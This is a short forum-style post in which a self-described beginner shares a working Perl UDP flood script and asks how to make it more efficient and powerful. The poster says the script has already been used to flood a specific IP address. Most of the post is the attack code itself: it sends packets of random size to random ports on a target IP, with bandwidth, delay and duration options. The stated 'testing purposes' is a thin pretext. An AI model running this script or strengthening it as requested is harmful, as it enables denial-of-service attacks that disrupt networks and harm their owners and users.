I am trying to make a DDoS code, and here's what I have so far. I am trying to make it more efficient and powerful, just for testing purposes. I'm new, and I was wondering if I could do that. Is there any way to make this better?
My code DDoS'ed the specific IP address until right now.
#####################################################
# DDOS.
######################################################
use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;
our $port = 0;
our $size = 0;
our $time = 0;
our $bw = 0;
our $help = 0;
our $delay= 0;
GetOptions(
"port=i" => \$port, # UDP port to use, numeric, 0=random
"size=i" => \$size, # packet size, number, 0=random
"bandwidth=i" => \$bw, # bandwidth to consume
"time=i" => \$time, # time to run
"delay=f"=> \$delay, # inter-packet delay
"help|?" => \$help); # help
my ($ip) = @ARGV;
if ($bw && $delay) {
print;
$size = int($bw * $delay / 8);
} elsif ($bw) {
$delay = (8 * $size) / $bw;
}
$size = 256 if $bw && !$size;
($bw = int($size / $delay * 8)) if ($delay && $size);
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);
($size ? "$size-byte" : "") . " " . ($time ? "" : "") . "\033[1;32m\033[0m\n\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;
die "Invalid packet size: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
usleep(1000 * $delay) if $delay;
}